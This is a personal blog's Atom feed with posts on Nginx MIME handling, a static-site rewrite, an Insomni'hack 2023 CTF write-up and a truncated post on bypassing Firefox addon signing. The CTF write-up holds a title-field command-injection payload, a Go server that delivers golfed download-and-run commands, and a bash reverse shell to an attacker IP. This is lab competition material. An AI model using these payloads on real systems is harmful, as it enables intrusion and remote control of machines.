ptrcnull's nerdposting https://ptrcnull.me/ 2025-11-27T00:33:54 ptrcnull https://ptrcnull.me Serving extensionless files with Nginx https://ptrcnull.me/howto/nginx-mime-no-magic.html 2025-11-26T21:23:01+01:00 2025-11-26T21:23:01+01:00 Correct MIME types with only minimal hacks required! <p>Best viewed on <a href="https://ptrcnull.me/howto/nginx-mime-no-magic.html">the webbed site</a>!</p> <p>So, a little backstory first: for the past few years I've been hosting random files on <code>https://ptrc.gay</code> using lighttpd, with <a href="https://redmine.lighttpd.net/projects/1/wiki/Docs_ModMimeMagic"><code>mod_mimemagic</code></a> to automatically assign the MIME type based on the file contents. At some point the module broke though, and so that was replaced with a slightly less kosher bodge:</p> <div class="codehilite"><pre><span></span><code><span class="nx">http</span><span class="o">-</span><span class="nx">response</span><span class="w"> </span><span class="nx">set</span><span class="o">-</span><span class="nx">header</span><span class="w"> </span><span class="nx">content</span><span class="o">-</span><span class="k">type</span><span class="w"> </span><span class="nx">image</span><span class="o">/</span><span class="nx">png</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">body</span><span class="p">,</span><span class="nx">hex</span><span class="w"> </span><span class="o">-</span><span class="nx">m</span><span class="w"> </span><span class="nx">beg</span><span class="w"> </span><span class="mi">89504</span><span class="nx">E47</span><span class="w"> </span><span class="p">}</span> <span class="nx">http</span><span class="o">-</span><span class="nx">response</span><span class="w"> </span><span class="nx">set</span><span class="o">-</span><span class="nx">header</span><span class="w"> </span><span class="nx">content</span><span class="o">-</span><span class="k">type</span><span class="w"> </span><span class="nx">image</span><span class="o">/</span><span class="nx">gif</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">body</span><span class="p">,</span><span class="nx">hex</span><span class="w"> </span><span class="o">-</span><span class="nx">m</span><span class="w"> </span><span class="nx">beg</span><span class="w"> </span><span class="mi">47494638</span><span class="w"> </span><span class="p">}</span> <span class="nx">http</span><span class="o">-</span><span class="nx">response</span><span class="w"> </span><span class="nx">set</span><span class="o">-</span><span class="nx">header</span><span class="w"> </span><span class="nx">content</span><span class="o">-</span><span class="k">type</span><span class="w"> </span><span class="nx">image</span><span class="o">/</span><span class="nx">jpeg</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">res</span><span class="p">.</span><span class="nx">body</span><span class="p">,</span><span class="nx">hex</span><span class="w"> </span><span class="o">-</span><span class="nx">m</span><span class="w"> </span><span class="nx">beg</span><span class="w"> </span><span class="nx">FFD8FF</span><span class="w"> </span><span class="p">}</span> </code></pre></div> <p>During the migration to a new server I decided to set up Nginx, and I was faced with the choice: either use the third-party <a href="https://github.com/Yureien/nginx-mime-magic-module"><code>nginx-mime-magic-module</code></a> dynamic module, or figure out a more proper, long-term solution. With how much the former option seemed like <em>effort</em>, I picked the latter and <a href="https://git.ddd.rip/ptrcnull/gaypaste/commit/d9de2ec8c48827a3c82ef88b3e75ee71fcdab84a">implemented</a> <code>libmagic</code> support in my uploader, writing the files down onto the disk with correct extensions in the first place. That solution didn't apply retroactively though, and I was now left with thousands of files that already had permalinks posted in various chat logs, all without extensions, Nginx happily serving them as <code>application/octet-stream</code>.</p> <hr /> <p>With all that context, here's the magic to make Nginx pick up the correct type <strong>and</strong> keep all URLs working as before:</p> <h4>1. Assign extensions to all files</h4> <p>You can do it however you like, I chose to write a shell oneliner with <a href="https://man.archlinux.org/man/file.1"><code>file(1)</code></a> for it and manually assign an extension for each recognised type:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>find<span class="w"> </span>.<span class="w"> </span>-type<span class="w"> </span>f<span class="w"> </span>-maxdepth<span class="w"> </span><span class="m">1</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>rg<span class="w"> </span><span class="s1">&#39;\./[a-zA-Z]{8}$&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>xargs<span class="w"> </span>file<span class="w"> </span><span class="p">|</span><span class="se">\</span> <span class="w"> </span>rg<span class="w"> </span><span class="s1">&#39;PNG image data&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>cut<span class="w"> </span>-d:<span class="w"> </span>-f1<span class="w"> </span><span class="p">|</span><span class="se">\</span> <span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="nb">read</span><span class="w"> </span>-r<span class="w"> </span>line<span class="p">;</span><span class="w"> </span><span class="k">do</span><span class="w"> </span>mv<span class="w"> </span><span class="nv">$line</span><span class="w"> </span><span class="nv">$line</span>.png<span class="p">;</span><span class="w"> </span><span class="k">done</span> </code></pre></div> <p>Repeat for every single file type you'd like; I chose only those that can be previewed in a browser: images, text files, etc., omitting archives and other non-previewable files.</p> <h4>2. Simply try all the files</h4> <p><em>Slighly</em> abuse the <code>try_files</code> directive to brute-force the extension when the file's not found:</p> <div class="codehilite"><pre><span></span><code><span class="k">location</span><span class="w"> </span><span class="s">/</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kn">include</span><span class="w"> </span><span class="s">location_params</span><span class="p">;</span> <span class="w"> </span><span class="kn">root</span><span class="w"> </span><span class="s">/var/www/ptrc.gay</span><span class="p">;</span> <span class="w"> </span><span class="kn">try_files</span><span class="w"> </span><span class="nv">$uri</span> <span class="w"> </span><span class="nv">$uri.diff</span> <span class="w"> </span><span class="nv">$uri.gif</span> <span class="w"> </span><span class="nv">$uri.jpg</span> <span class="w"> </span><span class="nv">$uri.json</span> <span class="w"> </span><span class="nv">$uri.jxl</span> <span class="w"> </span><span class="nv">$uri.mbox</span> <span class="w"> </span><span class="nv">$uri.mkv</span> <span class="w"> </span><span class="nv">$uri.mp3</span> <span class="w"> </span><span class="nv">$uri.mp4</span> <span class="w"> </span><span class="nv">$uri.pdf</span> <span class="w"> </span><span class="nv">$uri.png</span> <span class="w"> </span><span class="nv">$uri.tiff</span> <span class="w"> </span><span class="nv">$uri.txt</span> <span class="w"> </span><span class="p">=</span><span class="mi">404</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p>The trick here is that even though the URL itself doesn't contain an extension, having one in the file path is enough for Nginx's MIME type detection to kick in, making sure the correct type is served to the user. While it does look kinda horrendous – and makes way too many I/O operations than necessary – it also avoids re-guessing the type with every single request (more or less what happens with <code>nginx-mime-magic-module</code>). Assigning extensions manually also gives you the flexibility of fixing up the MIME type whenever necessary, e.g. returning <code>text/plain</code> instead of <code>application/mbox</code> – because even though it's 2025, Firefox <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=57342">still can't display the latter as plain text</a>...</p> Rewriting my website for fun and no profit https://ptrcnull.me/meta/rewriting-website-engine.html 2025-07-19T15:01:29+02:00 2025-07-19T15:01:29+02:00 I may bad at writing. <p>Best viewed on <a href="https://ptrcnull.me/meta/rewriting-website-engine.html">the webbed site</a>!</p> <p>After 2 years of no activity, I've realized that.. I'm not really good at writing posts. When I'm doing something that could make for great post material, I simply don't have motivation to write things down, much less in a format that would be coherent to anyone but me. However, how else can I improve than just practicing? And as such, join me on this adventure, while I rewrite my website engine to suit my needs better!</p> <h2>...what?</h2> <p>Well, this is the fun part - writing code brings me <em>way</em> more joy than writing prose. Code is way more strict in its grammar, and has a clear goal to achieve; text is fluid, chaotic. But then, if I work on my website, it gives me an opportunity to actually write about it, and possibly complete my goal of writing single post in 2025.</p> <h2>goals</h2> <p>Hugo, the current engine behind the website, has always annoyed me a bit. It was alright-ish in terms of features, but anytime I wanted to do something more custom, the documentation was less than helpful, and I would either abandon the idea or get stuck reading the engine code itself. How hard can it be though? It's just joining a few HTML files together, converting some of them from Markdown, and templating a few files with the list of posts.</p> <p>Ideally, I would love just a small thing that I can extend whenever necessary, but still just generating plain (and easy to read) HTML files. I'm also not scared of writing raw HTML, so stuff like "generating the footer links from a TOML structure" is mostly unnecessary; automatic RSS generation and syntax highlighting are a must-have though.</p> <h2>initial implementation</h2> <p>In the past I used mostly Go and <a href="https://git.ddd.rip/ptrcnull/ptrcports/src/commit/fd377f6e/ptrcports/node-print/index.js">JS</a> for quick prototyping, but lately I've found myself feeling more comfortable with Python; with that in mind, I decided to go for a simple Python script, powered by <a href="https://python-markdown.github.io/">python-markdown</a>. There's just something really satisfying about a website that can mostly build itself, with just a handful of dependencies, rather than a massive third-party executable.</p> <p>With these things in mind, I decided to write a tiny proof-of-concept – generate the front page by reading blog post metadata. Hugo's metadata format is simple enough, being just a YAML-like document plopped into the file header.</p> <p>For templating, I decided to go with <a href="https://www.makotemplates.org/">Mako</a>. Jinja2 was a tempting choice, but being a DevOps by trade, I have to deal with Jinja's design choices every single day at work; it would be nice to have something more comfortable back at home :3</p> <p>Okay, let's get to writing code: import markdown, import mako, iterate over the files, render each to HTML-</p> <h2>wait, we're done?</h2> <p>...almost.</p> <p>As it turns out, a page consisting of a front page and some blog posts really isn't hard to render - all we needed is two templates, and some glue code to mash the Markdowns into HTMLs. <code>python-markdown</code> already provides a <a href="https://python-markdown.github.io/extensions/meta_data/"><code>meta_data</code></a> module to parse the YAML-like metadata into values we can read, and setting up Pygments for syntax highlighting needs simply generating the CSS files with <code>pygmentize</code>.</p> <p>Adding proper Atom support was a bit more tricky - there's libraries like <a href="https://github.com/getpelican/feedgenerator">feedgenerator</a>, but they don't support the 'content' Atom field, instead using just the description. The solution? Just add another template, but for the feed, writing the XML by hand. Alas, there's a drawback to putting all the posts into one large feed: right now, the feed is around 200 KiB in size, and it will grow with every single new post; it's not <em>too</em> much though, and IMHO being able to read the blog entirely from a feed reader is a nice addition, even though some of the styling will be lost.</p> <p>(also, hopefully most feed readers can actually stream HTTP+XML just until they read the <code>updated</code> field, and stop reading if it hasn't changed, though it's not the end of the world if they don't.)</p> <h2>conclusions</h2> <p>I'm... not really sure what I expected about this post. When writing all of this, the main challenge wasn't either the code, or even the blog post, but actually staying focused enough to finish either. I was really hoping for "actually, it's not that easy", but, well, it really was <em>that easy</em> - all 56 MiB of Hugo code was replaced with one Python script and three dependencies.</p> <p>Realistically though, Hugo can support way more than my silly little script. There's pagination, asset processing, and all the little things that I simply never needed. But, after all, the purpose of this wasn't to write a replacement to a massive framework; instead, it was to make something tailored for my purposes, and I think I managed to achieve that quite well.</p> <p>Even worse, my writing style is still as annoying as ever - even re-reading what I just wrote feels like random rambling without a direction. Maybe it would be better to write it like a presentation script, with vague directions related to what's on the slides? Or maybe a question-answer style like many other writers adopted, where I make up a character to help along with the explanation? Who knows! It's something for future <em>me</em> to worry about.</p> Insomni'hack CTF 2023 - insobot https://ptrcnull.me/writeups/insomnihack-2023-insobot.html 2023-04-03T17:57:36+02:00 2023-04-03T17:57:36+02:00 <p>Best viewed on <a href="https://ptrcnull.me/writeups/insomnihack-2023-insobot.html">the webbed site</a>!</p> <p>note: this writeup was written long after the actual CTF - the platform was available only on the local on-site network, so some stuff might be a bit vague</p> <h1>recon</h1> <p>in the description we don't get any files or links, only the info that someone's scanning the network. after launching wireshark, we found a <em>ton</em> of ARP queries for the local network, so after filtering those out, we were left with a handful of packets. some of them were from the cisco switch we had on our desk, others from the fortinet hardware handling the network, but after a while we noticed some incoming TCP packets:</p> <p><img alt="listing of packets, showing multiple TCP SYN to ports 9990, 9991 and 9992, with corresponding RSTs from us" loading="lazy" src="/writeups/insomnihack-2023/insobot-wireshark.png" /></p> <p>we ran a simple HTTP server, and to our surprise, started getting valid HTTP requests:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>python3<span class="w"> </span>-m<span class="w"> </span>http.server<span class="w"> </span><span class="m">9991</span><span class="w"> </span> <span class="go">Serving HTTP on 0.0.0.0 port 9991 (http://0.0.0.0:9991/) ...</span> <span class="go">127.0.0.1 - - [03/Apr/2023 18:39:00] code 400, message Bad request version (&#39;À\\x13À&#39;)</span> <span class="go">127.0.0.1 - - [03/Apr/2023 18:39:00] &quot;\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03#ÐO#\x04B\x9dä¯\x8c&quot;Ó0\x0f3®À£\x10H\x0cEgkqeSÓìÂÙ! \x94J·u&gt;\x98\x82\x1bÉ)OÍÛ\x88£\x85¹B\x0b\x89\x9dß\x1f0\x1f×c\x96TÎKë\x00&amp;À+À/À,À0̨̩À\x09À\x13À&quot; 400 -</span> <span class="go">127.0.0.1 - - [03/Apr/2023 18:39:00] &quot;GET / HTTP/1.1&quot; 200 -</span> </code></pre></div> <p><img alt="http request in wireshark, showing a header X-tool pointing to github.com/GigaTakos/Reconator" loading="lazy" src="/writeups/insomnihack-2023/insobot-wireshark-http.png" /></p> <h1>reading weird shell code</h1> <p>following to https://github.com/GigaTakos/Reconator, we find two shell scripts: <code>main.sh</code>, which is less interesting:</p> <div class="codehilite"><pre><span></span><code><span class="c1"># HACK THE WORLD</span> mapcidr<span class="w"> </span>-cidr<span class="w"> </span><span class="m">0</span>.0.0.0/8<span class="w"> </span>-o<span class="w"> </span>targets.txt <span class="c1"># &lt;snip&gt;</span> <span class="k">while</span><span class="w"> </span>true<span class="p">;</span> <span class="k">do</span><span class="w"> </span> <span class="w"> </span>cat<span class="w"> </span>targets.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>parallel<span class="w"> </span>-j90<span class="w"> </span>sudo<span class="w"> </span>docker<span class="w"> </span>run<span class="w"> </span>--rm<span class="w"> </span>reconator<span class="w"> </span>bash<span class="w"> </span>/opt/reconator.sh<span class="w"> </span><span class="o">{}</span> <span class="k">done</span> </code></pre></div> <p>and <code>reconator.sh</code>, that does all the heavy lifting:</p> <div class="codehilite"><pre><span></span><code><span class="c1"># BUG BOUNTY RECON AWESOME ONLINER PIPELINE</span> cat<span class="w"> </span><span class="s">&lt;&lt;EOF &gt; services.txt</span> <span class="s">tcp:9990</span> <span class="s">tcp:9991</span> <span class="s">tcp:9992</span> <span class="s">EOF</span> <span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$1</span><span class="s2">&quot;</span> <span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$1</span><span class="s2">&quot;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>/root/go/bin/httpx<span class="w"> </span>-nfs<span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-tool: github.com/GigaTakos/Reconator&quot;</span><span class="w"> </span>-p<span class="w"> </span><span class="k">$(</span>cat<span class="w"> </span>services.txt<span class="w"> </span><span class="p">|</span><span class="w"> </span>awk<span class="w"> </span>-F<span class="w"> </span><span class="s2">&quot;:&quot;</span><span class="w"> </span><span class="s1">&#39;{print $2}&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sort<span class="w"> </span>-u<span class="w"> </span><span class="p">|</span><span class="w"> </span>tr<span class="w"> </span><span class="s1">&#39;\n&#39;</span><span class="w"> </span><span class="s1">&#39;,&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sed<span class="w"> </span><span class="s1">&#39;s/,$//&#39;</span><span class="k">)</span><span class="w"> </span>-silent<span class="w"> </span>-t<span class="w"> </span><span class="m">1</span><span class="w"> </span>-json<span class="w"> </span><span class="p">|</span><span class="w"> </span>jq<span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;. | &quot;bbrf url add &#39;</span><span class="s2">&quot;&#39;&quot;</span><span class="s1">&#39;\(.&quot;url&quot;|@sh) \(.&quot;status-code&quot;) \(.&quot;content-length&quot;)&#39;</span><span class="s2">&quot;&#39;&quot;</span><span class="s1">&#39; -t last_update:$(date +%s) -t http_title:\(.&quot;title&quot;[0:15]|@sh)&quot;&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sed<span class="w"> </span>-E<span class="w"> </span><span class="s1">&#39;s| null| 0|g&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sed<span class="w"> </span><span class="s1">&#39;s/\\&quot;//g&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>xargs<span class="w"> </span>-I<span class="w"> </span><span class="o">{}</span><span class="w"> </span>sh<span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;echo {}&#39;</span> </code></pre></div> <p>( there's also a dockerfile, but it's safe and not very interesting )</p> <p>we noticed that while the inner script outputs <code>bbrf ...</code> commands, they're not being executed in the repo - the orgs didn't specify what's happening, so let's assume they're just being saved somewhere.</p> <p>we can simplify the command a bit, replacing the convoluted <code>cat services.txt</code> subshell with what it returns and formatting it a little:</p> <div class="codehilite"><pre><span></span><code><span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$1</span><span class="s2">&quot;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>/root/go/bin/httpx<span class="w"> </span>-nfs<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-H<span class="w"> </span><span class="s2">&quot;X-tool: github.com/GigaTakos/Reconator&quot;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>-p<span class="w"> </span><span class="s2">&quot;9990,9991,9992&quot;</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>-silent<span class="w"> </span>-t<span class="w"> </span><span class="m">1</span><span class="w"> </span>-json<span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>jq<span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;. | &quot;bbrf url add &#39;</span><span class="s2">&quot;&#39;&quot;</span><span class="s1">&#39;\(.&quot;url&quot;|@sh) \(.&quot;status-code&quot;) \(.&quot;content-length&quot;)&#39;</span><span class="s2">&quot;&#39;&quot;</span><span class="s1">&#39; -t last_update:$(date +%s) -t http_title:\(.&quot;title&quot;[0:15]|@sh)&quot;&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>sed<span class="w"> </span>-E<span class="w"> </span><span class="s1">&#39;s| null| 0|g&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>sed<span class="w"> </span><span class="s1">&#39;s/\\&quot;//g&#39;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>xargs<span class="w"> </span>-I<span class="w"> </span><span class="o">{}</span><span class="w"> </span>sh<span class="w"> </span>-c<span class="w"> </span><span class="s1">&#39;echo {}&#39;</span> </code></pre></div> <p>setting the quote crimes in <code>jq</code> aside, here's what's going on: - <a href="https://github.com/projectdiscovery/httpx"><code>httpx</code></a> scans the selected host - JSON results are being passed to <code>jq</code>, which picks the following arguments: + <code>.url</code> + <code>.status-code</code> + <code>.content-length</code> + <code>.title</code> - nulls are getting replaced with zeroes - quotes are getting unquoted..? - all of that is getting passed to <code>sh -c 'echo ...'</code></p> <p>as for exploitation ideas - the target was obviously that <code>sh -c</code> command. unfortunately, there wasn't much room for an exploit: status code and content length were returned as ints, so we couldn't do any HTTP here; the URL was the input one, redirects didn't change it, so... the only field we could reliably control was the title, parsed from HTML.</p> <p>having that, we tried running the tool with the following HTML:</p> <div class="codehilite"><pre><span></span><code><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;&lt;</span><span class="nt">head</span><span class="p">&gt;&lt;</span><span class="nt">title</span><span class="p">&gt;</span>my very long page title<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </code></pre></div> <p>and got expected results</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>podman<span class="w"> </span>run<span class="w"> </span>--network<span class="o">=</span>host<span class="w"> </span>--rm<span class="w"> </span>reconator<span class="w"> </span>bash<span class="w"> </span>/opt/reconator.sh<span class="w"> </span><span class="m">10</span>.10.0.212 <span class="go">10.10.0.212</span> <span class="go">bbrf url add http://10.10.0.212:9991 0 0 -t last_update:1680542404 -t http_title:my very long pa</span> </code></pre></div> <p>the shell escaping also worked, kinda:</p> <div class="codehilite"><pre><span></span><code><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;&lt;</span><span class="nt">head</span><span class="p">&gt;&lt;</span><span class="nt">title</span><span class="p">&gt;</span>$(id)<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </code></pre></div> <div class="codehilite"><pre><span></span><code><span class="go">bbrf url add http://10.10.0.212:9991 0 0 -t last_update:1680542483 -t http_title:$(id)</span> </code></pre></div> <p>we spent way too much time reading jq source code to see if we can get around the shell escaping, when suddenly:</p> <div class="codehilite"><pre><span></span><code><span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>&#39;$(id)<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </code></pre></div> <div class="codehilite"><pre><span></span><code><span class="go">sh: 1: Syntax error: Unterminated quoted string</span> </code></pre></div> <p>...oh? let's try to terminate it then:</p> <div class="codehilite"><pre><span></span><code><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;&lt;</span><span class="nt">head</span><span class="p">&gt;&lt;</span><span class="nt">title</span><span class="p">&gt;</span>&#39;$(id)&#39;<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span> </code></pre></div> <div class="codehilite"><pre><span></span><code><span class="go">bbrf url add http://10.10.0.212:9991 0 0 -t last_update:1680543290 -t http_title:\uid=0(root) gid=0(root) groups=0(root)\</span> </code></pre></div> <p>we got shell exec! sadly, not very useful - the payload was still getting truncated at 15 characters, so even using <code>\</code>`` we had 11 characters left for our exploit ( technically, 33, as we could use 3 payloads - but each payload had to be contained in 11 characters ).</p> <h1>golfing the payload</h1> <p><code>wget 10.10.0.212</code> was definitely too long, but maybe we can make our IP shorter?</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>doas<span class="w"> </span>ip<span class="w"> </span>addr<span class="w"> </span>flush<span class="w"> </span>dev<span class="w"> </span>eth0 <span class="gp">$ </span>doas<span class="w"> </span>ip<span class="w"> </span>addr<span class="w"> </span>add<span class="w"> </span><span class="m">10</span>.10.0.6/16<span class="w"> </span>dev<span class="w"> </span>eth0 <span class="gp">$ </span>ping<span class="w"> </span><span class="m">10</span>.10.0.1 <span class="go">PING 10.10.0.1 (10.10.0.1) 56(84) bytes of data.</span> <span class="go">64 bytes from 10.10.0.1: icmp_seq=1 ttl=64 time=1.84 ms</span> </code></pre></div> <p>😳</p> <p><code>wget 10.10.6</code>...one character too long!! decimal or hex notation wasn't shorter either... at this point we were stuck - we even bought a short domain, only to realize that <a href="https://github.com/GigaTakos/Reconator/blob/main/README.md">outgoing 53 was blocked on the server</a> lol; went through all the executables in the container, didn't find anything shorter than wget that could fetch a file</p> <p>the breakthrough came from <em>dominikoso</em>, who suggested that maybe we could copy executables to the local directory, thus allowing us to use a wildcard such as <code>wg*</code> to run it.. and it worked!</p> <p>after refining the payloads a little, we ended up with the following: - <code>cp /b*/w* .</code> to copy all executables starting with <code>w</code> to working directory - <code>wg* 10.10.6</code> to download the index.html file, which was actually a script - <code>bash *ml</code> to run it</p> <p>there was one more drawback: the ports were queried in a random order; we wrote a small go server to handle that:</p> <div class="codehilite"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span> <span class="kn">import</span><span class="w"> </span><span class="p">(</span> <span class="w"> </span><span class="s">&quot;fmt&quot;</span> <span class="w"> </span><span class="s">&quot;net/http&quot;</span> <span class="p">)</span> <span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">0</span> <span class="kd">var</span><span class="w"> </span><span class="nx">resps</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="p">[]</span><span class="kt">string</span><span class="p">{</span><span class="s">&quot;cp /b*/w* .&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;wg* 10.10.6&quot;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;bash *ml&quot;</span><span class="p">}</span> <span class="kd">func</span><span class="w"> </span><span class="nx">GenerateResp</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="kt">string</span><span class="p">)</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="p">[]</span><span class="nb">byte</span><span class="p">(</span><span class="s">`HTTP/1.1 200 OK</span> <span class="s">Content-Type: text/html</span> <span class="s">Connection: close</span> <span class="s">&lt;html&gt;&lt;body&gt;&lt;title&gt;&#39;`</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s">&quot;`&quot;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s">&quot;`&quot;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s">`&#39;&lt;/title&gt;&lt;/body&gt;&lt;/html&gt;</span> <span class="s">`</span><span class="p">)</span> <span class="p">}</span> <span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">handler</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">w</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">ResponseWriter</span><span class="p">,</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">*</span><span class="nx">http</span><span class="p">.</span><span class="nx">Request</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">&quot;writing resp %d to client %s as %s\n&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">r</span><span class="p">.</span><span class="nx">RemoteAddr</span><span class="p">,</span><span class="w"> </span><span class="nx">r</span><span class="p">.</span><span class="nx">Host</span><span class="p">)</span> <span class="w"> </span><span class="nx">w</span><span class="p">.</span><span class="nx">Write</span><span class="p">(</span><span class="nx">GenerateResp</span><span class="p">(</span><span class="nx">resps</span><span class="p">[</span><span class="nx">i</span><span class="p">]))</span> <span class="w"> </span><span class="nx">i</span><span class="o">++</span> <span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">%=</span><span class="w"> </span><span class="mi">3</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">go</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">ListenAndServe</span><span class="p">(</span><span class="s">&quot;:9990&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">HandlerFunc</span><span class="p">(</span><span class="nx">handler</span><span class="p">))</span> <span class="w"> </span><span class="k">go</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">ListenAndServe</span><span class="p">(</span><span class="s">&quot;:9991&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">HandlerFunc</span><span class="p">(</span><span class="nx">handler</span><span class="p">))</span> <span class="w"> </span><span class="k">go</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">ListenAndServe</span><span class="p">(</span><span class="s">&quot;:9992&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nx">HandlerFunc</span><span class="p">(</span><span class="nx">handler</span><span class="p">))</span> <span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="s">&quot;runnning&quot;</span><span class="p">)</span> <span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="p">{}</span> <span class="p">}</span> </code></pre></div> <p>the actual script was just a simple reverse shell (which had to be hosted on port <code>443</code> due to the previously mentioned server firewall):</p> <div class="codehilite"><pre><span></span><code><span class="ch">#!/bin/bash</span> sh<span class="w"> </span>-i<span class="w"> </span>&gt;<span class="p">&amp;</span><span class="w"> </span>/dev/tcp/10.10.0.6/443<span class="w"> </span><span class="m">0</span>&gt;<span class="p">&amp;</span><span class="m">1</span> </code></pre></div> <p>after that, all it took was one <code>cat /flag/flag</code> and we finally solved the challenge!~</p> Installing unsigned addons in Firefox stable https://ptrcnull.me/posts/firefox-stable-unsigned-addons.html 2022-08-27T01:14:28+02:00 2022-08-27T01:14:28+02:00 <p>Best viewed on <a href="https://ptrcnull.me/posts/firefox-stable-unsigned-addons.html">the webbed site</a>!</p> <p><strong>Quick heads-up: this doesn't work anymore on Firefox 111.0.1 - not sure why</strong></p> <p>When developing a private addon, you don't always want to use Mozilla services - it's your browser, why should they care about your addons? Unfortunately, when looking at the <a href="https://wiki.mozilla.org/Add-ons/Extension_Signing">documentation</a> and forum posts, it doesn't seem like you can install them on the stable version of Firefox... or can you?</p> <p><img alt="Pop-up in Firefox - This addon could not be installed because it has not been verified" loading="lazy" src="/posts/firefox-stable-unsigned-addons/not-verified.png" /></p> <p>(before you proceed, make sure your addon has the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings">browser_specific_settings</a> section; otherwise, it's gonna show as corrupted to Firefox)</p> <p>To achieve this, we're gonna need a text editor and write access to your browser files (usually root/Administrator). These instructions are gonna target Linux with Firefox installed from your system package manager (so excluding Flatpak or Snap), but it should be possible to do this anywhere, as long as you can edit these files.</p> <p>Firstly, locate the <code>omni.ja</code> file in the browser files (usually <code>/usr/lib/firefox</code>). There's two of them, one in the <code>browser/</code> subdirectory - we're gonna focus on the former.</p> <p>There are three things we need to patch: - <a href="https://searchfox.org/mozilla-central/source/toolkit/modules/AppConstants.jsm#285"><code>modules/AppConstants.jsm:203</code></a></p> <div class="codehilite"><pre><span></span><code><span class="gd">--- a/modules/AppConstants.jsm</span> <span class="gi">+++ b/modules/AppConstants.jsm</span> <span class="gu">@@ -203,3 +203,3 @@</span> <span class="w"> </span> 